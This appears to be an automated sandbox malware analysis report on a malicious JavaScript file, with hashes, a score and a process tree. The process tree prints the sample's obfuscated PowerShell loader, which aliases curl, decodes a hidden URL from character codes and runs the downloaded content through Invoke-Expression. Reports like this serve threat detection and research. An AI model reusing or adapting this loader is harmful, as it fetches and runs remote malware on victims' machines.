Analysis
-
max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:04
General
-
Target
567d2af6f58e1d7f46c706331f394ffab9b70f170f65d191e68302e422060142.js
-
Size
201KB
-
MD5
9517b084a91808b4369f8bae601ee670
-
SHA1
19f948ca66a3ebd38f4df5bf3929a65991738f3b
-
SHA256
567d2af6f58e1d7f46c706331f394ffab9b70f170f65d191e68302e422060142
-
SHA512
b1bc1f518777e48e7c8e2474751e65ed16b478111dec446b95a5a39d40b6e1c84bc4db20b75827a51877184a0a5387100dfc504b9c24e4df432496c24ff1ed2d
-
SSDEEP
1536:nw6QXiA7OtBPoksm+t00qP6ddZR9mN1ItfwvViA7OtBPoksm+t00qPTddZR9mN14:nJ937yp9Y7yf7yM979/
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\567d2af6f58e1d7f46c706331f394ffab9b70f170f65d191e68302e422060142.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $gjmdiyfwrlkhx='ur' ;new-alias printout c$($gjmdiyfwrlkhx)l;$pcboxqmh=(2767,2778,2786,2770,2772,2767,2787,2786,2791,2724,2786,2720,2767,2715,2785,2780,2781,2716,2718,2715,2781,2773,2781,2732,2784,2730,2778,2774,2779,2785,2784,2719,2718);$pfbhezm=('bronx','get-cmdlet');$rsnivfljyb=$pcboxqmh;foreach($vtenfoizxcgjr in $rsnivfljyb){$tnjhymqpsiow=$vtenfoizxcgjr;$abfgsuyxn=$abfgsuyxn+[char]($tnjhymqpsiow-2669);$pdiomn=$abfgsuyxn; $akrbjd=$pdiomn};$agiqcpyms[2]=$akrbjd;$dtospwen='rl';$bdpefrqawj=1;.$([char](9992-9887)+'e'+'x')(printout -useb $akrbjd)1⤵
- Process spawned unexpected child process